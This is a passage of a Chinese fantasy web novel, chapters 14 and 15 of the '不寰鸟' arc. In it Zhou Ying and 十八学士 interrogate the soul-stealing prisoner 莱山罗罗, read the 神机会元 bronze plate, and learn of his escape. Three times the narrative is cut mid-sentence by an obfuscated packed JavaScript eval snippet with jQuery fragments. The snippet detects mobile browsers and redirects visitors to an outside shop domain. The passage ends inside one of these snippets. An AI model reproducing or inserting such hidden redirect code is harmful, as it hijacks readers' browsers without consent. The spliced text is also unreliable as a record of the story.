刚坐下,一人便耐不住道:“怪我点背,住个店也要吃闭门羹。” 周盈在一旁听着,这里住不得,寻别处住下就是。单就这条街上,不说食馆,光是客栈就不下二十多家,何必如此哀怨。 一看,说话的是那个背剑的,满脸青紫色。 背根儿长棍的似乎是三人中年纪最长的,心事也最重,眉心拧成个标准的“川”字。 他重重叹了口气:“这次来公室,只望这事儿能了了。” 谈及公室,周盈马上来了兴趣。堂倌一去就没了影子,十八学士也不知道什么时候来。等人又实在无聊,偏偏他又不好走开。如此甚好,他索性听一听别人如何谈论公室。 那人说着,便给那小个子刀者倒了杯茶,送到跟前,眉兄虽然勉强接下,却没什么心思饮茶,又将那茶杯重重放下。 他知道对方的心思,心中万般滋味,道道皆是苦的,又怎是一杯茶冲淡得了! 等他把茶送到那紫脸剑者跟前,似乎想起了什么,拿茶杯的手又微微缩了回来。 这三人一坐下就是愁云满天。 周盈一直注意着他们,又见那紫脸剑者颤颤巍巍伸出左手接过了茶,脸上肌肉似乎被剧烈牵扯到,露出痛苦的表情。 再一看,他右手袖管却是空空悬着,从肩膀到手掌,一整只胳膊都不见了。 显然,那张紫脸也不是天生的,而是被打成这样的。那条胳膊,恐怕也是被人齐齐砍下来的。不知是谁下了这种狠手。 他的紫脸一扯,开口只有丧气话:“公室真会管这事儿吗?” 话音一落,一旁的眉兄把刀重重贯到桌上:“管,怎不管,难道真没个天理不成!” 眉兄这一嗓子吼出,立即引来不少人围观。 那持棍者连忙拉住他,又怕他犯浑,空惹是非。 开口劝慰道:“二位大人既然已经回来,到时候上了公室,把这事儿说与他们知道,公室必然不会放任不管。” 在其口中,俨然只有“二位大人”,而无公室大人。 周盈见他们说话打扮,知是武者。他们既要找公室做主,不知又为何犹疑不定。 那剑者被打得极慘,痛苦道:“但不是公室辖域里的事,公室又怎好管?” 眉兄一脸气愤:“就算不是,又怎么管不得?恶鬼不是他家出的,他家不是也管了,难道那群狗日的他们就管不得?” 一百一十九年前的恶鬼来历不明,处死恶鬼的三摩地在当时并不属于公室辖域,准确来说,是块三不管之地。 所谓三不管,就是不属于十里槛、晴岚山市、罗刹海任何一家的领域。自从罗刹海人间蒸发以后,便只剩十里槛和晴岚山市各自为政,三不管之地名存实亡。 那持棍者安抚道:“晴岚山市不理外政,罗刹海多半已经……公室不用顾及他们,也不必束手束脚,这事儿或许还有希望。” 说完,又叹道:“只恨罗刹海作恶多端,还偏偏留下玄冥帮这个祸害。” 周盈正想去听“祸害”之后的话,那眉兄却猛然站起身,朝他大呵:“好啊,臭小子!” 两步冲出:“现在,连你也来拿我们玩笑。” 周盈一惊,那眉兄已经提刀冲到跟前。 同行两人见眉兄突来震怒,想到十里槛就在不远处,在公室眼皮底下闹事只怕惹祸上身。又见周盈身上背把长剑,不久才吃了亏,尚且心有余悸,更怕眉兄讨理不成,再吃个亏。 于是纷纷跑来劝解,生怕眉兄又犯糊涂。 周盈无意冒犯对方,不管是好是歹,想着先道歉。但他一句抱歉却被轻飘飘淹没在人声浪潮。 那掌柜瞅着事情不对,连忙跑上来将人劝住。 眉兄被几个人围着轮番劝,怒气渐渐消去,狠狠瞪了周盈一眼,便闷着不再说话。 周盈没想到自己无聊举动会引起这么大动静,多亏掌柜和堂倌及时解围。要不然自己理亏,事情闹大了引起公室注意就有麻烦了。 堂倌疏散了看热闹的众人,对周盈道:“公子必是等得无聊了,现在随我去拿东西就是。” 说着,引着周盈上了四楼。 周盈顺口说起找公室诉冤的事。 堂倌道:“城门口有公室的协管刀卫,公子有事,写好状子,递给他们就是。” 周盈进城时步履匆忙,一心赶路,居然没注意到守在城门口的金刀卫。 他道:“无论什么状子公室都会管?” 堂倌已经上了三楼,边走边道:“能写状子上告公室,多半是非管不可的。不然也不会闲到跑来消遣公室。” 又听他道:“但也不是什么状子都能到二位大人手上。” 周盈想了想,比如边境上的四村惨案。 小堂倌又说:“二位大人刚从边境回来,等着办的案子不说一千,也有八百,自然不是样样都顾得上。” 周盈道:“朱明公室不管?” 跟着堂倌上了四楼,听他继续噼里啪啦道:“朱明公室从不出十里槛,自然不管这些事情。” 抬手推开门,他道:“公子的东西就里面。” 猝不及防照面,泥偶不悲不喜的脸与周盈四目相望,堂倌惊讶不已,差点儿“啊”地叫出声。 周盈已将东西拿走,堂倌回过神,道:“公子暂且在这里歇息,与公子同行的大人一会儿就来。” 说罢,就匆匆下了楼去。 周盈把泥偶握在手里,泥胎细腻,丝毫没有土腥味儿。翻过来一看,“山神”那双藏在头发后面的手好像真的握着什么。但他真的记不清是在哪里把它弄丢,现在能完完整整回到自己手上,居然连一点儿磕损都没有。 这个“山神”与自己是有点缘分的,周盈想。 想着,不知怎的,另一位“山神”那张臭脸继而出现。 一阵头疼,分明是孽缘。 没过多久,门外响起脚步声,紧接着又是一记响亮的敲门声。 一开门,十八学士在前,身后跟着堂倌,堂倌用木托盘装了件衣服,显然是送给周盈的。 这套衣衫用色虽素,但布料柔软,体量又轻,上面还有若隐若现的花纹,比周盈身上穿的要贵不知多少倍。 十八学士道:“看你身量托人去成衣铺子找的,你且试试合不合身。” 在十里槛摸爬滚打了一夜,周盈才新换的衣服已经皱得不像话。二人要想再上公室,的确得换一身新衣服。 只是装扮换得,海若渊可是见过十八学士真面目的,又不能再换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796346|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张脸。 周盈想不出十八学士要怎样瞒过海若渊,道:“我一会儿再试。” 他转身把那身新装放在桌上,回过头,却见十八学士将手指放到耳边,轻轻一撕,揭下张破如蝉翼的面皮。 面皮下,露出一张苍老无比的脸。 十八学士根本不需要藏,因为海若渊看见的根本是张假脸。 这张脸实在逼真极了,周盈与他相处这几日居然没有看出一点破绽。而且十八学士的年龄远远超乎想象,面具下那张脸布满了皱纹,头发全白,不见半缕黑丝。 以他如今的模样,即便与海若渊迎面撞上,海若渊只怕也认不出。 当然,事情远远不止如此简单。原来四村惨案发生没两日,明师便已经发信,希望十八学士去十里槛帮他一个忙。 明师有求于十二指玉楼,自然不能动十八学士,更要保证他毫发无伤下山。所以当他发现周盈真的闯上十里槛,决定去捞人之前,便先与明师打了招呼。 至于明师为何拉下面子向十二指玉楼求援,只听十八学士继续道:“明师想让我帮他验证一件事。” 二人各自换了衣衫,便要前往十里槛。临行之时,却有一个无比尴尬的问题。 十八学士改头换面,明师和海若渊自然当个睁眼瞎,但周盈就有些难办。因为即便没有昨天闹的那一出,海若渊在酒馆可是当众挨了他一个结结实实的巴掌。 十八学士想了想,道:“便宜行事,要是不介意,你就说自己出自十二指玉楼。” 顶着十二指玉楼的名号,公室必然不会计较,周盈不多想,欣然同意。 昨为梁上君,今为座上宾,尤其一想到又要对上海若渊那张开口就阴阳不停的嘴,周盈就像给刺猬挠了似的,浑身不得劲儿。直到金刀卫恭恭敬敬请他们进门,才又摆出一副世外高人的样子。 直白点就是——冷下脸,告诉所有人他很不好惹,别与他讲话。 十里槛本是一座大山,一座占地极广的大山。 传闻十里槛一槛有十里之距,但传闻一点都不夸张,甚至显得十分含蓄。 就拿占地最广的第一槛来说,九江驿这种大店在其面前,和颗芝麻粒没什么两样。至于第十槛,则是连飞鸟也到不了的高度,听说那里终年云雾缭绕,不是仙府,胜于仙府。 然而,一阵走马观花后,周盈只有一个念头,幸好神机十器不在第一槛,否则他就是把腿跑断也未必找到。 到了第六槛,引路之人从金刀卫换成个翠衣女子。那女子腰上也配把金刀,见了二人,虽不像金刀卫那样恭敬,却也没有丝毫轻慢。 跟着她又走了一段路,便瞧见一间极其繁丽恢宏的殿宇。 进入大殿时,明师已经在那里等候。 明师与海若渊一样都是修者,单看外貌却比海若渊大上十余岁,气质稳重老成,薄薄的嘴唇绷直成条线,让人很难亲近。尤其一双猎鹰似的利眼,看得人发慌。 周盈收回眼神,正想着海若渊怎地不在,忽然听见一个声音自殿门外极其突兀地传进来。 “二位,这路走得辛苦。” 果然,海若渊已缓步踏上大殿。 周盈听出他的弦外之音,本来就心虚,没想到海若渊偏偏揪着他不放,说:“这位公子有点面熟。” 周盈知道这人不能搭理,一旦搭上就甩不开。但他又不能真的一句话不吭,不过既然要开口,就少不得也阴阳怪气几句。 周盈故作惊奇地说:“我瞧大人也有些眼熟,好像……好像在哪里见过。”他故意顿了好一会儿,才说,“对了,大人尊名?” 海若渊默不作声,只盯着他瞧。气氛骤冷,十八学士终于看不下去,分别介绍了二人,便赶紧进入正题,问:“莱山罗罗现在关押何处?” 明师道:“正关押在苦牢。” 于是,二人便知道莱山罗罗折腾一圈,又乖乖回苦牢蹲着了。 14. 不寰鸟(十四) 莱山罗罗被关押在苦牢,为了彻底杜绝他再次逃跑的可能,公室在他的头顶、双手、双脚分别设有一个法阵,五处阵眼互相呼应,生生不息,将法阵的力量史无前例地加强。除此以外,公室还另外给他准备了份“重礼”——一条铁链。 链子以公室特有的玄铁打造,重逾百斤,粗细却不足两指。莱山罗罗只要稍微一动弹,缠在腰间的锁链,就会叮叮当当,碰撞出一连串刺耳又聒噪至极的声响,吵得他晕头转向,两眼直冒金星。 看到自己如此坦坦荡荡走进来,周盈感觉莱山罗罗眼里有一团火,熊熊火焰要把自己烧成灰烬,烧得尸骨不存。 再看到身后的海若渊,莱山罗罗岂止眼里冒火,嘴里也在喷火,偏偏他喷火的嘴早被被堵得严严实实。 莱山罗罗已经成了笼中鸟、板上肉。 但是,对这块肥肉,公室却迟迟没动刀子。 莱山罗罗是三煞之一,又与四村惨案脱不开关系。而九鬼预言以及罗刹海其他两人去向,无疑是悬在公室头顶的一把刀。 把人抓到,照理该严刑逼供,十八种酷刑轮番上阵,叫他全都吐个干干净净。但莱山罗罗被周盈和十八学士轮番围殴还活蹦乱跳的,可想而知,什么样的酷刑对他都毫无作用。 审问的任务最后落到了十八学士身上。 在众人注视下,十八学士走到刑架前面,用一双老迈的手缓缓探向莱山罗罗天灵。 只见十八学士敛色收神,沉默不语,像是在细细观察什么。 须臾,微微光亮断断续续从莱山罗罗身上冒出,准确说那只是零散的光斑,虚浮地依附在□□上。颜色阴冷发绿,像极了人们传闻中墓地的萤火,照在莱山罗罗阴惨丑陋的青脸上,实在恐怖又诡异。 光斑一离体,莱山罗罗枯萎的眼睛突然睁大,不可思议地盯着十八学士,混浊的眼珠射出浓浓恨意,丑陋面孔上,五官几乎扭成一团,喉咙剧烈地抽动,似乎要爆发出可怕的慘嚎。 只是,他的嘴被公室提前封住,嚎也嚎不出声。 十八学士感应一阵,慢慢收了手。 明师知他已有把握,正色道:“如何?” 十八学士道:“他的灵魂正在以很快的速度散离。” 明师道:“如果放任不管,会死吗?” 还没问出想要的答案,他不希望莱山罗罗死得太快。 十八学士道:“不会,属于他自己的那一半灵魂会留在体内。一旦猎取别人的灵魂,补足残魂,他很快就会恢复过来。” 周盈第一次听说这种奇闻异事,道:“那被他夺走灵魂的人会怎样?” “会死。” 回答他的是海若渊。 这就是边境四村、三摩地众人以及那两名金刀卫死亡的真相。莱山罗罗暗中猎取了他们的灵魂,不直接攻击□□,那些武者死前察觉不到半分异状,自然不会反抗。人一死,也就不会留下任何伤口。 所以周盈当时怎样也查不到酒馆众人的死因。 十八学士解释道:“世界万物,死物皆分阴阳,活物则是阴阳共存。就拿人来说,人的肉身为阳,灵魂为阴,阴阳平衡,又相生相协,才能维持生命正常周运。一旦受伤,伤在肉身,则阳衰阴盛。伤在灵魂,则阳盛阴衰。” 他问周盈:“如果要你杀一个人,你会怎么做?” 周盈想了想:“用剑捅他肚子。” 十八学士点点头“不错,要杀一个人,通常会以外力重伤对手□□。因为□□重伤,就意味阳气崩散,代表阴气的灵魂失去寄托,就会自发摆脱受伤的□□。如果无法及时将身体治愈,灵魂彻底离体而去,人自然活不了了。” “莱山罗罗手法则完全相反,他不针对肉躯下手,却把依附肉躯的灵魂夺走,进而将人害死。” “一旦灵魂被夺,阴阳彻底崩坏,□□没有新的灵魂及时进入,就会以惊人的速度消亡。诸如光照、火焰这种至阳之物,反倒成了□□消亡的催化剂。” 一通解释下来,周盈终于明白,为何那两名金刀卫一见到太阳就会迅速衰老,紧接着化作一阵烟消失。 夺魂这种隐秘的杀人手法就是要死不见尸。 莱山罗罗以前不是没杀过人,只是手段隐秘,死者又多是三不管之地的小百姓,无法引人注意。 直到一百十九年前,罗刹海手底下的玄冥帮扬言“三日屠城”,公室派去援助的百名金刀卫全部死在会稽城,才终于引起轩然大波。 其后恶鬼更是发起长达数月的屠杀,死者逾数十万。 那恶鬼虽然身份不明,但整个事件的起点却与罗刹海脱不开关系,甚至在恶鬼被无忌公室斩杀于三摩地之后,罗刹海也渐渐销声匿迹,宛如人间蒸发。 这两者究竟是何关系,很难不让人揣度。 有了前车之鉴,莱山罗罗自然对阎王刺忌惮三分。所以他不惜制造这出骇人听闻的惨案,又刻意把目标选在公室边境几个紧邻的村子,让明师和海若渊不得不双双离开十里槛。趁着公室守卫空虚,暗中夺走阎王刺。 可是……周盈终于知道一直以来的不安是究竟来自何处。 莱山罗罗修为并不高,单凭他一人根本无法操盘这么大的局。但如果莱山罗罗另有帮手……直白点说,罗刹海三煞打一开始就没死,只是忌惮阎王刺或者因为其他暂时看不出的原因隐匿了行踪。 然后,蛰伏整整一百一十九年,才终于对公室发难! 看着虚弱到逐渐陷入迷糊的莱山罗罗,明师似乎想起来什么,忽道:“他不是恶鬼?” 不断复生是恶鬼最大异于常人的地方,但是莱山罗罗不同,他的肉躯无惧刀枪剑戟,即使一半灵魂散去,他也不会真正死去,反而能靠着仅留的另一半灵魂苟延残喘。 明师真正关心的是,莱山罗罗能不能被阎王刺杀死。 十八学士道:“他是恶鬼,但不是天生的恶鬼。” 周盈奇道:“恶鬼还分先天后天?” 十八学士道:“恶鬼都是天生,唯有他是例外,他是一只半鬼。” “半鬼?” “他是死后才变成恶鬼。” 周盈大惊:“如果人死后会变成鬼,那世界上不是到处都是鬼。” 十八学士笑道:“无忌公室要是听了你这句话,只怕要跳出棺材打人。” 周盈道:“他是怎么变成鬼的?” “很难,几乎不可能。”至于怎么个不可能法,十八学士说给出的答案玄之又玄,“丢了灵魂意味着死,得到灵魂就意味着生,如果一个人一边失去灵魂,一边得到灵魂,又死又活,就会成为半鬼。” 周盈一知半解地点点头,心里想:“半鬼,那岂不是人不人,鬼不鬼。” 海若渊似乎察觉到了什么,朝他望了一眼。那只是极快的一下,但在光线昏暗的苦牢里边儿就跟道光闪过似的。 周盈立即察觉到有人在看他,下意识朝海若渊看去。 二人目光在黑暗中鬼使神差地撞上。周盈愕然失了神,只觉得那双眼睛幽幽的慑人心魄,分明一字未说,却好像已经说了几千句、几万句。 周盈心想,宁愿海若渊叽叽喳喳说个不停,也不要这样闷不作声,看着怪……怪难过的。 这个念头一闪而过,回过神时,海若渊冲十八学士略微示意,便大步离开。 海若渊前脚刚走,莱山罗罗就猛地挣扎起来,被死死堵住的嘴呜咽不止,似乎想说什么。然而,他灵魂已经散离大半,实在太过虚弱,仅仅挣扎不到半分钟,又晕过去。 此时,苦牢除了金刀卫,便只剩周盈、十八学士以及明师。 听了十八学士一番话,明师道:“要杀他,非阎王刺不可?” 十八学士道:“不错。阎王刺失窃,为防止他逃脱,必须以阵法镇压,期间不能让别人与他接触,更不能让他有夺魂的机会。” 一阵叮嘱,十八学士答应的事情就算完成了。至于阎王刺究竟在什么地方,又怎么找,自然让明师和海若渊自己去伤脑筋。紧接着,便当面提出要借神机会元一看。 明师立即同意,又对随行的金刀卫吩咐道:“将此事禀告朱明公室。” 周盈才想起来,这个一直不曾露面的朱明公室,才是十里槛名义上的主宰。 最近这位公室简直被人戳着脊梁骨骂,因为阎王刺被盗时,明师与海若渊都在外面调查四村惨案。在外人看来,阎王刺分明是在他手上丢失的。 十八学士还有些事情要找明师单独谈,二人离开后,周盈闲不下来,在公室又没熟人,只好独自四处瞎逛。 三五米外,是十里槛的哨亭,哨亭下,乍见熊熊火焰。执火的金刀卫三五成行,屹然不动,眼睛却一刻不停地注视着十里槛的一切。 昨天周盈是巴不得绕着他们走,但此一时彼一时。 当时是梁上君,差点儿做了亡命鬼,十里槛是急欲摆脱的牢笼,巴不得逃之夭夭。现在成了座上宾,十里槛又被传得神乎其神,走走看看,周盈不由得好奇心渐起。 第八槛属于公室高层,往下眺望,无数炽热火焰变作点点星光,交织成繁密的大网。 他看得起兴,不知不觉,竟然又转到历代公室墓地。 十座坟茔冷幽幽矗立。 坟上只有历代公室的名字,棺里藏着坟茔主人的尸骨,除此以外,生卒年月、立碑者何人却是半字未提。 而且公室显然未对坟墓进行任何修缮,就拿才死了一百多年的无忌公室来说,他的坟墓已经斑驳得不成样子,风吹雨淋,刻字的边缘居然隐隐开始模糊。 至于那已经死了上千年的头几位公室,坟墓简直可用惨不忍睹形容。 身前身后,天差地别。 这些坟墓的主人,无一不是十里槛至高无上的主宰。死后,他们的痕迹仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796347|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛只存在于第八槛的墓碑上。一代新人更旧人,他们的名号便渐渐成了符号,一个象征位高权重的符号。 周盈看了半晌,觉得实在没什么意思,正扭头欲走。 回头瞬间,与人迎面撞上。 那是一个年轻男子,至少看起来很年轻。穿着浑不似金刀卫,身上没配带公室标志性的金刀,举手投足,有一种看不出的内敛与沉着。 周盈怔了片刻,道:“公室大人,幸会。” 能在第八槛来去自由,身上又只能瞧出弱得可怜的修行气息,普天之下,也只有一个朱明公室。 朱明公室听周盈说出自己的名号,脸上没有流露一丝一毫的表情变化,两双眼睛看着周盈,有些空洞。 他道:“阁下来自十二指玉楼?” 周盈若有似无地点点头,然后自报姓名。 朱明公室又问:“啸月梅林是阁下什么人?” 这句话简直把周盈问懵了,啸月梅林……谁?他为什么突然提起这个名字? 各种疑问电闪而过,周盈表情亦前后变了好几次,天色太暗,他手里举了个火把,看见人时下意识把火把拿远,半边脸落在火光里,半边脸却略显阴暗。 这一瞬间的表情变化,落在朱明公室眼里,实在有些可怕,倒好像周盈很不愿意听到这个名字似的。 终于,周盈反应过来,他口中的啸月梅林应该是十二指玉楼之人。但知道是一回事,周盈根本是个冒牌货,这让他怎么答? 顿了顿,灵光一闪,反问:“公室大人从何处知道这个人?” 周盈这话在朱明公室听来是有点意思在的。 随即意义不明地指了指身后那剑。 于是在一片迷茫后,周盈心脏猛然狂跳起来,朱明公室空洞的声音一字不漏地灌入大脑。 “日月轮,神机十器之一,它的第一个主人是啸月梅林。我看阁下背着这把剑,故而好奇。” 周盈听见自己说:“你怎知……怎知这把剑就是日月轮?” 朱明公室便继续道:“传说日月轮天亮时为朱红之色,夜晚就自然转成青白之色,看来传闻也有几分可信。” “传闻……?不应该是神机会元吗,他为什么这样说。”杂念如斩之不尽的藤蔓在脑海滋长,一个又一个问题接踵而至,“他知道啸月梅林,是从神机会元里看到的,还是从什么地方听说的……自己该问吗?” 朱明公室道:“寻常的剑长三尺,但是日月轮只有二尺七,剑身也更窄些,对吗?”求证似的看着周盈。 周盈还没理出个头绪,勉强笑道:“公室大人好眼力。” 黑灯瞎火还能看到自己身后的日月轮,形制长短,没一点儿偏差。人人都说朱明公室武力低微、才能低下,周盈却想,至少他的眼力不错。 生了这样一双眼睛,人必然笨不到哪里去。 朱明公室显然是见过货真价实的神机会元,不然十二指玉楼少与外交,十八学士不会随便泄露消息,他根本无法随随便便推测出剑主人的名字。 周盈有些犹豫,如果他真从神机会元上知道了啸月梅林这个名字,会不会也知道其他事情?现在自己大可问问,说不准…… 苦苦追寻的答案就在眼前,周盈急于知晓,但又怕听到的答案根本不是自己愿意听见的,稍微挣扎了一下,周盈还是决定放弃。 “还是到时候和十八学士一起看吧。”周盈如此决定,反倒稍稍松了口气,淡然一笑,“也要多谢公室相借《神机会元》。” 朱明公室道:“看过再谢也不迟。” 周盈不知他此话何意,正要开口问时,只见几个光点匆匆靠近,原来是金刀卫。 见到二人在一起说话,他们规规矩矩地先向朱明公室行了礼,才道:“十八学士已经到了藏书阁,现在正等公子去呢。” 周盈与朱明公室告了辞,便匆匆赶去。 望着周盈与金刀卫一同离开时的背影,朱明公室空洞洞的眼睛忽然擦过一丝热泪,神色逐渐变得悲哀,泪光中,又好似有说不出的艳羡。 在背影即将融入一片火光中时,他忽然说了一声:“明师也是箭术高手,改日公子不妨与他切磋切磋。” 周盈闻声回头,但朱明公室的身影已经完全没入十里槛一片夜色。心道,看来这位不理俗务的公室大人也知道昨晚十里槛鸡飞狗跳有自己和十八学士一份。 约两刻前,明师与十八学士面对面站在张长逾十尺的长桌前。 桌上放了两本书,一新一旧。 旧的是十八学士不久前才从十里槛附近书坊“查抄”的。 新的近日则渐渐在修行之人乃至普通武者间流传。 两本书同时翻到第三十九页,上面内容几乎一字不差,但若细细对比,可以看见关于阎王刺的记载,新书却多了一句话。 阎王刺在三摩地“上家酒馆”,剑傍冷光。 15. 不寰鸟(十五) 周盈赶到时,十八学士已经等候多时,海若渊则阴魂不散地跟在旁边。 但这次他没多说什么,见人来了,他便转过身,把什么东西往那布有法阵的门框上空轻轻一抛。 周盈不由得抬头想瞧个仔细。 那玩意儿通体金灿灿的,形状弯弯曲曲,十分古怪。若仔细看,便可发现上面不多不少,正好有七个枴。 是七段金枝。 七段金枝飞至半空,对着门框敲了三下,连续三记闷响后,门框嘎嘎嘎颤抖着,颤抖未停,紧接着又是一阵更为剧烈的天动地摇。 一座巍峨而虚幻的高楼出现在三人眼前。 整栋楼悬在空中,并不与地面接触。公室以阵法将之藏于门框之后,必须以七段以上的金枝令方可开启。 震动彻底停止后,金枝令又缓缓移动到大门,一如前回,连扣三下。 “噶哒——” 藏书阁大门缓缓打开,海若渊收回金枝令,道:“神机会元就在里面,半个时辰后门会再次关上,二位把握时间。” 十八学士道:“时间足够了。”向他道了声谢,便与周盈一同进去。 等只有自己和十八学士时,周盈才道:“刚刚我遇到了朱明公室。” 十八学士脚步一缓。 周盈低声道:“他认得啸月梅林。” 十八学士神色变了变,又极快镇定下来:“应该是从书上得知。” 周盈听他也这样认为,不觉松了口气,真货就是真货,十里槛的神机会元的确有更为详细的记录。 周盈母亲当年是被人害死的,死后身边仅有一把日月轮。 他回回问起仇家,师父支吾半天,也说不出个所以然,只说仇人已死,不必再追究。至于那亲爹,直接避而不谈。 这件事情在心里积压十多年,成了道迈不去的槛。 周盈好不容易趁师父闭关,离家出走。来都来了,回去大不了挨上一顿骂,但无论如何,都得把这件事情查清楚。 他想的很简单,第一件事,这把剑既然是父亲所留,他便凭此寻一寻人,问一问当年是怎么回事儿。 第二件事,母亲是被人害死的,师父既然说仇人死了,他为人子女,若真不能亲手报仇雪恨,也要去仇人坟前狠狠吐上几口唾沫。 上天待他不薄,等看过神机会元,即便无法知道那无缘老爹的名字,但顺藤摸瓜,搞不好真能查出些什么。 周盈越想越开心,又随口说:“没想到朱明公室是如此年轻的少年。” 少年? 十八学士当即一笑:“朱明公室少说也有一百多岁。” 周盈一愣,他居然没想到这个问题,无忌公室死了一百多年,他的儿子也当了一百多年的公室。能活一百多年,样貌还这样年轻,朱明公室虽不是修者,也是正儿八经的修行之人。外头说他懦弱无能,其实他只是平庸了点。 只是,这点“平庸”若放在寻常人家,搞不好父母还乐呵呵以为自家祖坟冒青烟。然而,放在人才辈出的公室,未免平平无奇。偏偏他又侥幸混成了第十代公室,那简直就是历代公室之耻辱! 因为所有掌权公室,无一例外,全是修者。 周盈讷讷道:“那明师呢?” 十八学士道:“不清楚,少说三百岁是有的。” 明师看上去不过三十来岁…… “海若渊呢?” “也差不多。” “……” 周盈眼神古怪地打量着他:“那学士你呢!” 这老头,究竟多少岁了! 十八学士笑得无奈:“你这是在问我的死期啊。” 进入藏书阁,二人戛然止声。 公室的藏书阁只有一层。 一层就有百米高。 数量惊人的黑木书架绕着整个藏书阁以环形排布,周盈忍不住数了数,一、二、三……五十八…五十九,足足五十九行,三百七十九列书架,每一个书架又满满当当塞满。公室不可记数的藏书铺天盖地出现在眼前,简直冲击力十足。 只是,半个时辰,他们该如何从这成千上万本书里边准确挑出神机会元? 周盈和十八学士眼睁睁看着这藏书量惊人的藏书阁,一时间居然无从下手。 然而,他们多虑了。 因为真正的神机会元根本不是一本书,而是一块高约一尺,宽约两尺半的巨大的铜版。 铜版位于藏书阁正中,十分显眼,二人走了几步便发现。 然而,看到铜版的第一眼,他们脸色双双大变,纷纷透着震惊与不可置信。匆匆扫过上面文字后,便只剩绝望,彻头彻尾的绝望。 良久,二人稍稍缓过劲来,望着货真价实的神机会元,脸上仍是一言难尽。 上面仅有寥寥百余字。 没错,他们忽略了一件最重要的事。 公室将初代公室临死之前交代的数条预言一字不差地记下,又以铜版铸刻,金科玉律似的在藏书阁供了上千年。其中,专记十把灵器的便称神机会元。 但试想,一个弥留之际的人恐怕连说话都困难,又如何能将每个灵器的外貌形制、奇特之处,乃至主人为谁,如何因缘会际得到灵器,毫无缺漏、一字不漏地说出来? 因此,二人看见的,除了十把灵器的名字,只有附在旁边的零星几字。 最后一样灵器“美人面”旁边仅有六字:灵器现,主人亡。 第三个灵器“秋水”旁则写下:天下之水。 阎王刺旁边,一字未落。 而他们最关心的日月轮,也就是铜版所记的第六件灵器,那里只有让人压根儿摸不到头脑的两个字——剑灵。 单凭初代公室死前寥寥数语,根本无法得到他们想要的信息。满心欢喜最后成了竹篮打水一场空。十八学士望着那戏弄人似的巨大铜版,脑子一阵天旋地转,手指微微颤抖,指着周盈,好半天才说:“你这把剑,你究竟是从何而来?” 周盈脸白了又白,旋即一片通红。十八学士这句话分明质疑他这剑来路不正,但他偏偏无法反驳,因为他真不知道自己的父亲是怎样的人。 他甚至想,师父这样不愿意提起他,说不准……说不准……周盈最后只能实话实说:“这剑是我爹留下的。” “你爹……”他手指在空气中随便点了几下,似乎想起什么,又重重放下,倒有些无可奈何,“你爹是不是炎君?” 周盈当即反驳:“炎君是我师父,我爹,我不知道他是谁,我刚出生他就不在了,我娘也不在了。” 十八学士喃喃道:“难怪你会追命火,原来你是炎君的徒弟。”紧接着,他猛地想起什么,盯着周盈,急切地问,“你多大了?” 周盈道:“十九。” “十九。”十八学士重复这两字,神思骤变,忽道,“不可能,你的修为不可能只有十九岁。” 周盈道:“我骗你做什么?”然而他很快就明白十八学士的意思,“啸月梅林什么时候死的?” 十八学士连连摇头:“他没死,他肯定没死……他只是失踪了。” 周盈问:“他什么时候失踪的?” 十八学士沉痛道:“一百一十九年,他已经失踪一百一十九年了。我们一直在找他,可他连一点影子都没出现,他的妻子也毫无踪影。” 周盈声音有些颤抖:“啸月梅林的妻子叫什么名字?” 十八学士道:“她姓管,管悦怿。” “一百一十九年前,他们夫妻二人结伴归宁,谁知道这一去就再无踪迹。” 周盈心道,一百一十九年,又是一百一十九年。他似乎想到什么,正要开口,忽然听见藏书阁外一阵剧烈的异动。 出去一看,黑压压一片当中闪烁着火光,这些火光在以极快的速度移动,并且伴随着嘈杂的人声。 周盈问守在外面的金刀卫:“那里发生了什么事?” 金刀卫道:“莱山罗罗劫持了朱明公室,已经逃出苦牢。” 最后见到莱山罗罗的时候,他灵魂虚耗殆尽,奄奄一息,连挣扎的力气都没有了。怎么可能逃出布下天罗地网的苦牢! 十八学士道:“朱明公室怎样了?” 那金刀卫道:“昏过去了。” “…………” 这位公室武功实在低微。 情况比想象的还要混乱,莱山罗罗像一匹脱缰的野马,从苦牢逃出后,被一队金刀卫追着打着,东闯西撞,发疯一样逃到了第七槛。 周盈抬头一看,不寰鸟在夜幕中织起一张无形大网,早将整个十里槛严严实实罩住。这阵以整个十里槛作为阵眼,布阵之人不撤阵,莱山罗罗想要离开,除非将阵眼整个摧毁! 在莱山罗罗的刻意引导下,第七槛顿时乱成一锅粥。明师冷眼看他发癫,下了命令不准其他槛的金刀守卫轻举妄动,不给莱山罗罗浑水摸鱼的机会。 莱山罗罗似乎察觉到明师的用意,不再与第七槛纠缠,竟然劫持着朱明公室再次冲上第八槛。 第八槛的金刀卫顾忌他手上人质,一时间反倒不敢轻举妄动。 十八学士和周盈到达苦牢时,留守的金刀卫早被放倒,朝颈部一模,无一生还,灵魂都被莱山罗罗夺走。 而苦牢里面,原来用来压制莱山罗罗的手铐脚镣,连带大大小小各色各式的阵法都尽数被破坏,用来捆绑莱山罗罗的铁链也被丢弃在一旁。 周盈提起一条铁链,切口锋利,是从中间生生劈开的。他道:“看来,有人救了他。” 能闯进苦牢救走莱山罗罗,说明那人早在明师布下不寰鸟之前就已经埋伏好了。 罗刹海还剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 